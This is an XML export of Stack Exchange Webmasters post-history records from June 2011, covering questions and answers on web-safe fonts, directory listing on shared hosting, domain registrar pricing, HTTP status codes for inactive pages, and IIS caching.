  <row Id="37956" PostHistoryTypeId="25" PostId="15976" RevisionGUID="89ae7a79-92a7-4bfe-960f-774a05ab996b" CreationDate="2011-06-27T00:25:36.197" Comment="http://twitter.com/#!/StackWebmasters/status/85141690259742721" />
  <row Id="37957" PostHistoryTypeId="17" PostId="15987" RevisionGUID="7b0cfe81-9a7b-4959-8728-2c99687a24e0" CreationDate="2011-06-27T03:03:06.087" UserId="-1" Comment="from http://stackoverflow.com/questions/6477179/is-bookman-old-style-web-safe" Text="" />
  <row Id="37958" PostHistoryTypeId="17" PostId="15988" RevisionGUID="d58aa2b3-2f4a-478e-86c2-511b6190de2d" CreationDate="2011-06-27T03:03:06.087" UserId="-1" Comment="from http://stackoverflow.com/questions/6477179/is-bookman-old-style-web-safe" Text="" />
  <row Id="37959" PostHistoryTypeId="17" PostId="15989" RevisionGUID="49023404-3f80-431e-a869-1cfad18a18f8" CreationDate="2011-06-27T03:03:06.087" UserId="-1" Comment="from http://stackoverflow.com/questions/6477179/is-bookman-old-style-web-safe" Text="" />
  <row Id="37960" PostHistoryTypeId="17" PostId="15990" RevisionGUID="d0ad1d15-b42f-4aa1-a099-3628d93b6eb7" CreationDate="2011-06-27T03:03:06.087" UserId="-1" Comment="from http://stackoverflow.com/questions/6477179/is-bookman-old-style-web-safe" Text="" />
  <row Id="37961" PostHistoryTypeId="2" PostId="15988" RevisionGUID="2d7570ed-5a73-4d2c-a1a4-e2fcbfc553b4" CreationDate="2011-06-25T10:27:13.010" UserId="1780" Text="It's not a safe choice: Bookman Old Style is [bundled with MS Office][1]. That means it's on a lot of machines, but far from 100% coverage. None of my machines, for example, has it.&#xD;&#xA;&#xD;&#xA;I would check out services like [FontSquirrel][2] or [Google Web Fonts][3] for a free, usable font that can be embedded into your site, and comes close to Bookman.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Bookman_%28typeface%29&#xD;&#xA;  [2]: http://www.fontsquirrel.com/&#xD;&#xA;  [3]: http://www.google.com/webfonts" />
  <row Id="37962" PostHistoryTypeId="2" PostId="15989" RevisionGUID="c3ecaed3-fead-446d-a945-b8767ce05e47" CreationDate="2011-06-25T10:27:34.573" UserId="218" Text="You should re-read the *most authoritative page* as it includes Bookman..&#xD;&#xA;&#xD;&#xA;&gt; Other options that usually work cross-platform are:&#xD;&#xA;&#xD;&#xA;&gt; - Palatino&#xD;&#xA;&gt; - Garamond&#xD;&#xA;&gt; - **Bookman**&#xD;&#xA;&gt; - Avant Garde &#xD;&#xA;&#xD;&#xA;and a bit down the page continues with&#xD;&#xA;&#xD;&#xA;&gt; ***Bookman***  &#xD;&#xA;Bookman, also called **Bookman Old Style.** Not shipped with WinXP. Shipped with MS Office 2000.&#xD;&#xA;" />
  <row Id="37963" PostHistoryTypeId="2" PostId="15990" RevisionGUID="b6995900-0f37-4a55-8915-44700b13f5f3" CreationDate="2011-06-25T10:29:58.443" UserId="8126" Text="It's not:&#xD;&#xA;&#xD;&#xA;http://www.codestyle.org/css/font-family/sampler-CombinedResultsFull.shtml" />
  <row Id="37964" PostHistoryTypeId="2" PostId="15987" RevisionGUID="df0f0fcc-e35a-480c-907a-515390b920e2" CreationDate="2011-06-25T10:23:57.793" UserId="9592" UserDisplayName="Don" Text="Is 'Bookman Old Style' web safe? If not, is there something that looks similar which is web safer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.mit.edu/jmorzins/www/fonts.html&#xD;&#xA;  [2]: http://www.fonttester.com/help/list_of_web_safe_fonts.html" />
  <row Id="37965" PostHistoryTypeId="1" PostId="15987" RevisionGUID="df0f0fcc-e35a-480c-907a-515390b920e2" CreationDate="2011-06-25T10:23:57.793" UserId="9592" UserDisplayName="Don" Text="is 'bookman old style' web safe" />
  <row Id="37966" PostHistoryTypeId="3" PostId="15987" RevisionGUID="df0f0fcc-e35a-480c-907a-515390b920e2" CreationDate="2011-06-25T10:23:57.793" UserId="9592" UserDisplayName="Don" Text="&lt;css&gt;&lt;web-development&gt;&lt;fonts&gt;" />
  <row Id="37967" PostHistoryTypeId="2" PostId="15991" RevisionGUID="6473a231-2c80-477d-a31b-3010ab29c8a3" CreationDate="2011-06-27T03:13:27.730" UserId="8619" Text="My hosting server allows to host multiple websites.  &#xD;&#xA;The directory structure is like this&#xD;&#xA;&#xD;&#xA; - root  &#xD;&#xA; |_ www.a.com  &#xD;&#xA; |_ www.b.com  &#xD;&#xA; |_ www.c.com  &#xD;&#xA; |_ www.d.com  &#xD;&#xA;&#xD;&#xA;I want to put some PHP files on the www.d.com folder so if some one browse the site from web-browser can get it, but no one can get it's source code _[even by loggin in to the root folder]_.  &#xD;&#xA;Is there any way to doing so ?  &#xD;&#xA;There is a feature called `Password protect folder` or so, can in help in this case ?" />
  <row Id="37968" PostHistoryTypeId="1" PostId="15991" RevisionGUID="6473a231-2c80-477d-a31b-3010ab29c8a3" CreationDate="2011-06-27T03:13:27.730" UserId="8619" Text="Deny access to a folder on hosting server but serve the pages" />
  <row Id="37969" PostHistoryTypeId="3" PostId="15991" RevisionGUID="6473a231-2c80-477d-a31b-3010ab29c8a3" CreationDate="2011-06-27T03:13:27.730" UserId="8619" Text="&lt;security&gt;&lt;webserver&gt;" />
  <row Id="37970" PostHistoryTypeId="25" PostId="15987" RevisionGUID="efe2fbda-3cb3-4052-a5ff-934eb2177c86" CreationDate="2011-06-27T03:25:36.773" Comment="http://twitter.com/#!/StackWebmasters/status/85186991033036800" />
  <row Id="37971" PostHistoryTypeId="2" PostId="15992" RevisionGUID="f39402f8-1da1-41a7-83a2-639473025421" CreationDate="2011-06-27T04:03:07.470" UserId="1253" Text="PHP is executed on the server so if someone pulls up a PHP file in their browser the PHP will always execute and users will only ever see the output it creates. If you can see PHP code in your browser you either have a coding error or Apache is not set up properly.&#xD;&#xA;&#xD;&#xA;If you want to make sure no one can see the files listed in these directories but still pull up the web pages, you can do that easily with .htaccess:&#xD;&#xA;&#xD;&#xA;    Options -Indexes" />
  <row Id="37972" PostHistoryTypeId="5" PostId="15974" RevisionGUID="9747a4a5-7a79-436a-a4ab-3207b8ca0f44" CreationDate="2011-06-27T05:00:47.867" UserId="6193" Comment="This was a multi-part question. This edit attempts to give a good answer to the last question (perhaps a more authoritative source would improve this portion of the answer).." Text="Google will choose your search results snippets from the following places (not necessarily in this order):&#xD;&#xA;&#xD;&#xA;1. The page's Meta Description tag&#xD;&#xA;2. The page's Open Directory Project (ODP) Listing&#xD;&#xA;3. Page content relevant to the search query&#xD;&#xA;&#xD;&#xA;If you do *not* want Google to use the ODP listing's description then you can tell them not to do so with the following Meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;NOODP&quot;&gt;&#xD;&#xA;&#xD;&#xA;If you want to encourage Google to use your Meta Description tag then make sure it is unique to each page. Also make sure it contains an accurate description of the page's content.&#xD;&#xA;&#xD;&#xA;In thew absence of an ODP description and Meta Description tag, Google will use a portion of the page's text as the description. This text will contain the closest matches to the search query. I have not seen any official limit to how long this can be but a couple of sentences seems about right.&#xD;&#xA;&#xD;&#xA;On a related note, if you don't want a snippet to be shown with a particular page you can use the following Meta tag to prevent one from being shown:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot;&gt;&#xD;&#xA;&#xD;&#xA;See [this blog post][1] for Google's tips on using the meta description tag.&#xD;&#xA;&#xD;&#xA;According to [this site][2], &quot;The meta description should typically be at most *145 to 150 characters* in length as these are the maximum number of characters typically displayed at *Yahoo! and Google, respectively*.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html&#xD;&#xA;  [2]: http://www.canonicalseo.com/optimizing-meta-description-tags/" />
  <row Id="37973" PostHistoryTypeId="24" PostId="15974" RevisionGUID="9747a4a5-7a79-436a-a4ab-3207b8ca0f44" CreationDate="2011-06-27T05:00:47.867" Comment="Proposed by 6193 approved by 1253 edit id of 418" />
  <row Id="37974" PostHistoryTypeId="25" PostId="15991" RevisionGUID="75a15b9b-68ec-4c31-ba2d-33526cdfb301" CreationDate="2011-06-27T06:25:35.920" Comment="http://twitter.com/#!/StackWebmasters/status/85232286924161024" />
  <row Id="37975" PostHistoryTypeId="2" PostId="15993" RevisionGUID="6eb236bd-53fc-4b1d-937d-d08bad0418dd" CreationDate="2011-06-27T06:59:14.443" UserId="8177" Text="I've created a basic web server for a school project, and it serves static content without a problem.&#xD;&#xA;&#xD;&#xA;I thought of having the server parse all htm/html files for links to .js/.css/image files, and send these files to the client without these files being requested by the client later.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;eg. The browser requests: index.htm&#xD;&#xA;&gt;&gt;    The server responds with intex.htm and image.jpg&#xD;&#xA;&#xD;&#xA;I modified the server to send two distinct http responses for a &quot;GET /index.html HTTP1.1&quot; (one for the html page and one for the image), but the browser ended up requesting the image when it was good and ready.&#xD;&#xA;Is there any way to bypass this? (use a multipart response, perhaps)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Will these files be accepted by most browsers, or will they be rejected for security reasons?&#xD;&#xA;" />
  <row Id="37976" PostHistoryTypeId="1" PostId="15993" RevisionGUID="6eb236bd-53fc-4b1d-937d-d08bad0418dd" CreationDate="2011-06-27T06:59:14.443" UserId="8177" Text="Is it possible for a web-server to send more files than requested for, and have the browser accept them?" />
  <row Id="37977" PostHistoryTypeId="3" PostId="15993" RevisionGUID="6eb236bd-53fc-4b1d-937d-d08bad0418dd" CreationDate="2011-06-27T06:59:14.443" UserId="8177" Text="&lt;apache&gt;&lt;browsers&gt;&lt;http&gt;" />
  <row Id="37978" PostHistoryTypeId="5" PostId="15978" RevisionGUID="59023a63-bebe-4cb0-b80b-aee855d69e3b" CreationDate="2011-06-27T07:32:31.700" UserId="288" Comment="spelling and grammar" Text="I'm nor one of best friends of captchas but when they are useful they should be used. If you validate card number (as I think you should) you could use a captcha only after a certain number of wrong successive tries by a user (identified by its IP address and timestamp)." />
  <row Id="37979" PostHistoryTypeId="24" PostId="15978" RevisionGUID="59023a63-bebe-4cb0-b80b-aee855d69e3b" CreationDate="2011-06-27T07:32:31.700" Comment="Proposed by 288 approved by -1 edit id of 417" />
  <row Id="37980" PostHistoryTypeId="5" PostId="15978" RevisionGUID="3db8d777-4d23-48f5-b7e4-15cf07a2ceb3" CreationDate="2011-06-27T07:32:32.060" UserId="1064" Comment="spelling and grammar" Text="I'm not the biggest fan of captcha's but when they are useful they should be used.&#xD;&#xA;&#xD;&#xA;If you validate card number (as I think you should) you could use a captcha only after a certain number of wrong successive tries by a user (identified by its IP address and timestamp)." />
  <row Id="37981" PostHistoryTypeId="2" PostId="15994" RevisionGUID="bbf2c021-9de8-4a66-ad89-3de56ee70c2d" CreationDate="2011-06-27T07:39:57.420" UserId="3175" Text="Few years ago I registered a domain with Network Solutions. In recent years I've been using cheaper services such as namecheap, powerpipe etc.&#xD;&#xA;&#xD;&#xA;Every time that I need to renew some of the older domains with Network Solutions I am surprised at how much expensive they are. What is the reason for the price differences between the services? Why should I use a service like Network Solutions if there are so many companies out there that offer domain registration for a very cheap price?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Meir" />
  <row Id="37982" PostHistoryTypeId="1" PostId="15994" RevisionGUID="bbf2c021-9de8-4a66-ad89-3de56ee70c2d" CreationDate="2011-06-27T07:39:57.420" UserId="3175" Text="Registering domains with Network Solutions" />
  <row Id="37983" PostHistoryTypeId="3" PostId="15994" RevisionGUID="bbf2c021-9de8-4a66-ad89-3de56ee70c2d" CreationDate="2011-06-27T07:39:57.420" UserId="3175" Text="&lt;domain-names&gt;" />
  <row Id="37984" PostHistoryTypeId="2" PostId="15995" RevisionGUID="747f4840-468a-4653-8728-8255d275ef75" CreationDate="2011-06-27T07:55:40.247" UserId="8169" Text="I've found [this document][1], but I've never tried to deal with it.&#xD;&#xA;&#xD;&#xA;If your goal is to minimize requests, you can somehow modify your pages (javascripts and stylesheets may be easyly included right into your html, also you can even embed base64-encoded images usind `data:` URI scheme, like it's described [here][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://coweb.cc.gatech.edu/cs2340/1252&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Data_URI_scheme" />
  <row Id="37985" PostHistoryTypeId="2" PostId="15996" RevisionGUID="c59ccbf9-49a0-4bdc-9f28-237b39019d9f" CreationDate="2011-06-27T08:22:01.533" UserId="8624" Text="i might be wrong but Captcha is used to disable spamming/automating input so that the user would have to do it his/herself.&#xD;&#xA;&#xD;&#xA;You could probably just create a delay so that the user can't submit details repeatedly in a short amount of time instead of adding another field to fill out." />
  <row Id="37986" PostHistoryTypeId="2" PostId="15997" RevisionGUID="79755f56-5564-416f-b3e6-9a06f3001402" CreationDate="2011-06-27T08:28:55.300" UserId="1643" Text="I suspect &quot;Password protect folder&quot; puts a password on for people using web browsers. I think the best way to achieve this is to have separate ftp logons for the directories for a.com, b.com and c.com. Then only you, with access to the root, have access to the files for d.com. You could make the passwords the same so that people only have to remember one password." />
  <row Id="37987" PostHistoryTypeId="2" PostId="15998" RevisionGUID="2b125a8b-e6b4-452b-a05d-38eb4dbec6a2" CreationDate="2011-06-27T09:04:29.727" UserId="4502" Text="If you &lt;em&gt;must&lt;/em&gt; have Bookman, it's available under Typekit's &lt;a href=&quot;https://typekit.com/plans&quot;&gt;Personal plan&lt;/a&gt;, which is currently just $25/year. Otherwise, there's nothing stopping you from specifying it in your font stacks; you'll have to decide the likelihood of your audience haaving Office installed, etc. and whether that's worth it. Just make sure you provide a fallback to something more reliable like Georgia." />
  <row Id="37989" PostHistoryTypeId="5" PostId="15994" RevisionGUID="5a4a92b7-1cca-4585-97ec-70f731b64514" CreationDate="2011-06-27T09:28:42.427" UserId="7198" Comment="Rephrased question" Text="A few years ago I registered a domain with Network Solutions. In recent years I've been using cheaper services such as namecheap, powerpipe etc.&#xD;&#xA;&#xD;&#xA;Every time that I need to renew some of the older domains with Network Solutions I am surprised at how much expensive they are. What is the reason for the price differences between the services? Why should I use a service like Network Solutions if there are so many companies out there that offer domain registration for a very cheap price?&#xD;&#xA;" />
  <row Id="37990" PostHistoryTypeId="4" PostId="15994" RevisionGUID="5a4a92b7-1cca-4585-97ec-70f731b64514" CreationDate="2011-06-27T09:28:42.427" UserId="7198" Comment="Rephrased question" Text="What's the difference between cheap and expensive domain registrars?" />
  <row Id="37991" PostHistoryTypeId="6" PostId="15994" RevisionGUID="5a4a92b7-1cca-4585-97ec-70f731b64514" CreationDate="2011-06-27T09:28:42.427" UserId="7198" Comment="Rephrased question" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="37992" PostHistoryTypeId="2" PostId="15999" RevisionGUID="785330f8-9980-4340-be6d-4010e6ca35c4" CreationDate="2011-06-27T09:36:14.700" UserId="7198" Text="Bookman Old Style is **not** a web safe typeface, but you can specify the following CSS font stack to get an 'old style serif' face on many platforms, with plain serif fallbacks:&#xD;&#xA;&#xD;&#xA;    body{  &#xD;&#xA;        font-family: &quot;Calisto MT&quot;, &quot;Bookman Old Style&quot;, Bookman, &quot;Goudy Old Style&quot;, Garamond, &quot;Hoefler Text&quot;, &quot;Bitstream Charter&quot;, Georgia, serif;&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="37993" PostHistoryTypeId="2" PostId="16000" RevisionGUID="5d4c6b03-bef1-44b7-be2a-d8a70b7324f0" CreationDate="2011-06-27T09:52:32.970" UserId="7198" Text="1. Go to http://whois.domaintools.com/&#xD;&#xA;2. Search for the domain you're interested in.&#xD;&#xA;3. Click the 'Registration' tab and look for the 'ICANN Registrar':&#xD;&#xA;&#xD;&#xA;![ICANN Registrar][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In this case, the domain is being sold through [enom](http://www.enom.com/) (who *is* ICANN accredited).&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/eXEQp.jpg" />
  <row Id="37994" PostHistoryTypeId="2" PostId="16001" RevisionGUID="dd74d8d4-00d6-4ed1-86dc-652c7565267d" CreationDate="2011-06-27T10:00:13.317" UserId="6776" Text="I've just now migrated(1 week back) my shared hosting account from Awardspace to HostGator.&#xD;&#xA;But I'm seeing my email in both webmail accounts  for my emailid contactus@downloadformsindia.com ?&lt;br&gt;&lt;br&gt;&#xD;&#xA;How come both receive my email?" />
  <row Id="37995" PostHistoryTypeId="1" PostId="16001" RevisionGUID="dd74d8d4-00d6-4ed1-86dc-652c7565267d" CreationDate="2011-06-27T10:00:13.317" UserId="6776" Text="Receving mail on my old hosting account as well" />
  <row Id="37996" PostHistoryTypeId="3" PostId="16001" RevisionGUID="dd74d8d4-00d6-4ed1-86dc-652c7565267d" CreationDate="2011-06-27T10:00:13.317" UserId="6776" Text="&lt;email&gt;" />
  <row Id="37997" PostHistoryTypeId="2" PostId="16002" RevisionGUID="25fbfda5-0fe3-4f43-98fd-7727a2f3a676" CreationDate="2011-06-27T10:11:12.313" UserId="7801" Text="Using data from Google Analytics and Webmaster tools, what data should I be looking at to improve my websites performance?&#xD;&#xA;&#xD;&#xA;I want to improve the SEO, usability and just general performance of my website." />
  <row Id="37998" PostHistoryTypeId="1" PostId="16002" RevisionGUID="25fbfda5-0fe3-4f43-98fd-7727a2f3a676" CreationDate="2011-06-27T10:11:12.313" UserId="7801" Text="Using Google Webmaster &amp; Analytics, what data to look at to improve website performance?" />
  <row Id="37999" PostHistoryTypeId="3" PostId="16002" RevisionGUID="25fbfda5-0fe3-4f43-98fd-7727a2f3a676" CreationDate="2011-06-27T10:11:12.313" UserId="7801" Text="&lt;seo&gt;&lt;google-analytics&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="38000" PostHistoryTypeId="2" PostId="16003" RevisionGUID="a30c1373-6919-4de0-99d2-002107f1876f" CreationDate="2011-06-27T10:11:38.723" UserId="2739" Text="I use a piece of software called [Xenu Link Sleuth][1] for checking broken links.&#xD;&#xA;&#xD;&#xA;I first used it about 10 years ago and the interface hasn't changed much in that time, but it works great for small to medium size websites.&#xD;&#xA;&#xD;&#xA;It will still work on large websites, but it will take an age to crawl tens of thousands of dynamically generated content pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="38001" PostHistoryTypeId="5" PostId="16001" RevisionGUID="1965a883-bcaf-4de0-9d07-f0efbfbb0d74" CreationDate="2011-06-27T11:23:38.937" UserId="288" Comment="spelling, formatting and remove actual e-mail address as it's not necessary for the question" Text="I've just now migrated (1 week ago) my shared hosting account from Awardspace to HostGator.&#xD;&#xA;&#xD;&#xA;But I'm seeing my email in both webmail accounts for my emailid.&#xD;&#xA;&#xD;&#xA;How come both receive my email?" />
  <row Id="38002" PostHistoryTypeId="4" PostId="16001" RevisionGUID="1965a883-bcaf-4de0-9d07-f0efbfbb0d74" CreationDate="2011-06-27T11:23:38.937" UserId="288" Comment="spelling, formatting and remove actual e-mail address as it's not necessary for the question" Text="Receiving mail on my old hosting account as well" />
  <row Id="38003" PostHistoryTypeId="24" PostId="16001" RevisionGUID="1965a883-bcaf-4de0-9d07-f0efbfbb0d74" CreationDate="2011-06-27T11:23:38.937" Comment="Proposed by 288 approved by 108 edit id of 419" />
  <row Id="38004" PostHistoryTypeId="17" PostId="16004" RevisionGUID="62590c46-f67a-46f2-877e-e07d343a27f4" CreationDate="2011-06-27T11:34:20.923" UserId="-1" Comment="from http://stackoverflow.com/questions/6490264/which-status-to-put-for-temporarily-inactive-page" Text="" />
  <row Id="38005" PostHistoryTypeId="17" PostId="16005" RevisionGUID="58c55d21-a78a-4718-8f17-66465ad980cf" CreationDate="2011-06-27T11:34:20.923" UserId="-1" Comment="from http://stackoverflow.com/questions/6490264/which-status-to-put-for-temporarily-inactive-page" Text="" />
  <row Id="38006" PostHistoryTypeId="2" PostId="16005" RevisionGUID="01aad64a-cdf5-4f34-bc89-37af061f6ec0" CreationDate="2011-06-27T08:29:27.953" UserDisplayName="Bulk" Text="You should use &quot;HTTP Error 503 - Service unavailable&quot; - Google will come back a bit later to check again. " />
  <row Id="38007" PostHistoryTypeId="2" PostId="16004" RevisionGUID="c459168c-156a-44c4-a5bd-434ca539a8f6" CreationDate="2011-06-27T08:23:56.937" UserId="6121" Text="I was wondering if someone could help me how to manage temporarily inactive website in regards of SEO and search engine.&#xD;&#xA;&#xD;&#xA;the case is i managed a big ecommerce site, and sometime i need to put down page(s). could be days, could be weeks, could be months, and it depends on our vendor.&#xD;&#xA;&#xD;&#xA;if my visitors land on the page that been temporarily inactive then i can give them a message that the vendor they looking for is not available at this time and he can check back later OR check another vendor with similar products, but how do i send my message to search engine robots?&#xD;&#xA;&#xD;&#xA;if i use 301 status and forward URL page to another similar products, then the chance that the current URL being deindex is huge while i still want to use that URL for the future if my vendor want to re-join.&#xD;&#xA;&#xD;&#xA;any advise will highly appriciated" />
  <row Id="38008" PostHistoryTypeId="1" PostId="16004" RevisionGUID="c459168c-156a-44c4-a5bd-434ca539a8f6" CreationDate="2011-06-27T08:23:56.937" UserId="6121" Text="which status to put for temporarily inactive page" />
  <row Id="38009" PostHistoryTypeId="3" PostId="16004" RevisionGUID="c459168c-156a-44c4-a5bd-434ca539a8f6" CreationDate="2011-06-27T08:23:56.937" UserId="6121" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="38010" PostHistoryTypeId="2" PostId="16006" RevisionGUID="f0fdfbcb-10ab-4c88-9575-2c05f1f9cf79" CreationDate="2011-06-27T11:51:26.173" UserId="8354" Text="503 Status code is not good if that will be a consistent response for a _long_ period of time (like you have mentioned already -- weeks/months). In this case I'm certain such pages will be de-indexed (what is the point of having a link to pretty much dead page).&#xD;&#xA;&#xD;&#xA;In your case (e-commerce site) it is much better to just have a product there, but will additional &quot;functionality&quot;:&#xD;&#xA;&#xD;&#xA; - Customer cannot buy it -- &quot;Add to cart&quot; / &quot;Buy now&quot; button is inactive; remove the price (and even &quot;buy&quot; button) completely, unless you want to keep it for the price reference (so customer knows the approximate price you can offer).&#xD;&#xA; - Have a message: &quot;Item is out of stock&quot; or &quot;No longer available&quot; or something like that (to explain to the customer why he cannot buy it right now)&#xD;&#xA; - Add related/similar/alternative products -- this will not hurt SEO but will definitely help customers to find alternative product on your site.&#xD;&#xA;" />
  <row Id="38011" PostHistoryTypeId="2" PostId="16007" RevisionGUID="8662cd4e-f3ce-4b9a-b51e-5afdb3ca9f9d" CreationDate="2011-06-27T11:57:48.167" UserId="1253" Text="I don't know if a 503 Status code is actually the correct one. That error code is supposed to be used if there is a server error that causes a page to be offline. That's not the case here. You're taking a page down because of vendor issues (I'm assuming the product is out of stock or seasonal). Since it is not a server error and the pages will return I would say use a 307 Temporary Redirect status code. " />
  <row Id="38012" PostHistoryTypeId="5" PostId="15856" RevisionGUID="61c6c60c-9544-4f0f-8492-0ed57c344521" CreationDate="2011-06-27T12:17:14.390" UserId="2852" Comment="added 302 characters in body" Text="Some answers that nobody has suggested:&#xD;&#xA;&#xD;&#xA;1. A contact form submitted over SSL is more secure than email.  Customers have a terrible habit of sending you sensitive data (credit card numbers etc) even if you didn't request it.&#xD;&#xA;&#xD;&#xA;2. A webpage can capture more information about a user than an email. If the submitter is logged into your site, you can link the message accurately to an existing account.  If they are not logged in, you may be able to detect relevant information and offer to pre-fill it for the user.&#xD;&#xA;&#xD;&#xA;3. Some people's browsers will auto-complete certain fields for them which might save them some typing.&#xD;&#xA;&#xD;&#xA;4. If the user seems to be submitting a FAQ, you could suggest relevant answers for them (like the StackExchange sites do)." />
  <row Id="38013" PostHistoryTypeId="25" PostId="16002" RevisionGUID="dffc48b6-3f65-45ba-8bb6-5c2ca3b4f5d3" CreationDate="2011-06-27T12:25:36.337" Comment="http://twitter.com/#!/StackWebmasters/status/85322885744443392" />
  <row Id="38014" PostHistoryTypeId="5" PostId="16002" RevisionGUID="5a969210-cdfc-46c4-ae0e-6f66531f4f9b" CreationDate="2011-06-27T12:44:14.473" UserId="7801" Comment="Added more detail" Text="Using data from Google Analytics and Webmaster tools, what data should I be looking at to improve my websites performance?&#xD;&#xA;&#xD;&#xA;I want to improve the SEO, usability and just general performance of my website.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;It's a portfolio website that we've done the initial SEO for, also optimised all images etc and made the site as fast as possible.&#xD;&#xA;&#xD;&#xA;What kind of things should I be looking out for in the analytics and webmaster data to improve performance for both the SEO and each individual page." />
  <row Id="38015" PostHistoryTypeId="2" PostId="16008" RevisionGUID="77ad4261-93da-43fe-ae7d-e7994593cf0f" CreationDate="2011-06-27T12:44:53.147" UserId="8627" Text="i would nearly always buy on price, but actually service comes into it too ..... laying aside the really expensive registrars and also the really crappy services, both of which i would simply avoid, i think the most important thing for me is quality/style/structure/capability etc of the domains control panel and support system ...... if i get a high quality control panel for my domains which has a fair bit of capability and this is backed up with quality support and a decent help/knowledge base/community then that's what i'd be paying money for ..... however to be honest though the cheaper providers often give more in this regard, which is why i tend to just buy on price in the end" />
  <row Id="38016" PostHistoryTypeId="2" PostId="16009" RevisionGUID="1a7711aa-baf0-4456-8472-05b03a87f797" CreationDate="2011-06-27T12:51:52.983" UserId="8302" Text="I have been developing and maintaining Web sites for a decade and I have used many different registrars and hosting services.  &#xD;&#xA;&#xD;&#xA;The best, by far, has been Network Solutions. &#xD;&#xA;&#xD;&#xA;The #1 reason they are the best, for me, is their service.  You can always get someone on the phone to assist with your inquiry/issue.&#xD;&#xA;&#xD;&#xA;Moreover, with NS, you do not have to worry about them shutting down and you losing your domain or the many other issues that can occur with smaller registrars and resellers.  &#xD;&#xA;&#xD;&#xA;When it comes to registrars, you get what you pay for. " />
  <row Id="38017" PostHistoryTypeId="2" PostId="16010" RevisionGUID="0bc243f1-11c8-4402-a4db-de47a7509610" CreationDate="2011-06-27T12:56:54.137" UserId="8519" Text="There are many domain management software options, but mostly the features seem very limited. Are there any options out there that dynamically import domains from specific registrar accounts? And that perhaps make the task of updating bulk domain records and name servers easier?" />
  <row Id="38018" PostHistoryTypeId="1" PostId="16010" RevisionGUID="0bc243f1-11c8-4402-a4db-de47a7509610" CreationDate="2011-06-27T12:56:54.137" UserId="8519" Text="What is the best OS X desktop software for managing large portfolios of domain names?" />
  <row Id="38019" PostHistoryTypeId="3" PostId="16010" RevisionGUID="0bc243f1-11c8-4402-a4db-de47a7509610" CreationDate="2011-06-27T12:56:54.137" UserId="8519" Text="&lt;domain-names&gt;&lt;domain-registration&gt;&lt;multiple-domains&gt;&lt;name-servers&gt;" />
  <row Id="38020" PostHistoryTypeId="2" PostId="16011" RevisionGUID="c29ef203-15d5-47b5-8996-314a16e52caf" CreationDate="2011-06-27T13:11:58.067" UserId="8629" Text="I am using IIS7, I have already set up the following. But when I run Firefox it seems not to cache any of my images even with &quot;remember history&quot; set.&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;configuration&gt;&#xD;&#xA;      &lt;system.webServer&gt;&#xD;&#xA;        &lt;staticContent&gt;&#xD;&#xA;          &lt;clientCache cacheControlCustom=&quot;public&quot; cacheControlMode=&quot;UseMaxAge&quot; cacheControlMaxAge=&quot;7.00:00:00&quot; /&gt;&#xD;&#xA;        &lt;/staticContent&gt;&#xD;&#xA;      &lt;/system.webServer&gt;&#xD;&#xA;    &lt;/configuration&gt;&#xD;&#xA;&#xD;&#xA;However when I use Firebug it still points to Firefox not caching images and CSS:&#xD;&#xA;&#xD;&#xA;    public,max-age=604800&#xD;&#xA;    Content-Type	text/css&#xD;&#xA;    Content-Encoding	gzip&#xD;&#xA;    Last-Modified	Mon, 27 Jun 2011 03:53:22 GMT&#xD;&#xA;    Accept-Ranges	bytes&#xD;&#xA;    Etag	&quot;507968c27d34cc1:0&quot;&#xD;&#xA;    Vary	Accept-Encoding&#xD;&#xA;    Server	Microsoft-IIS/7.5&#xD;&#xA;    X-Powered-By	ASP.NET&#xD;&#xA;    Date	Mon, 27 Jun 2011 13:06:41 GMT&#xD;&#xA;    Content-Length	5067&#xD;&#xA;    Request Headersview source&#xD;&#xA;    Host	www.xx.com&#xD;&#xA;    User-Agent	Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1&#xD;&#xA;    Accept	text/css,*/*;q=0.1&#xD;&#xA;    Accept-Language	en-us,en;q=0.5&#xD;&#xA;    Accept-Encoding	gzip, deflate&#xD;&#xA;    Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.7&#xD;&#xA;    Keep-Alive	115&#xD;&#xA;    Connection	keep-alive&#xD;&#xA;    Referer	http://www.xx.com/&#xD;&#xA;    Cookie	__utma=62996397.135679654.1309106351.1309159743.1309164158.8; __utmz=62996397.1309106351.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=62996397&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38021" PostHistoryTypeId="1" PostId="16011" RevisionGUID="c29ef203-15d5-47b5-8996-314a16e52caf" CreationDate="2011-06-27T13:11:58.067" UserId="8629" Text="Why doesn't Firefox cache my images and CSS" />
  <row Id="38022" PostHistoryTypeId="3" PostId="16011" RevisionGUID="c29ef203-15d5-47b5-8996-314a16e52caf" CreationDate="2011-06-27T13:11:58.067" UserId="8629" Text="&lt;iis7&gt;&lt;iis&gt;" />
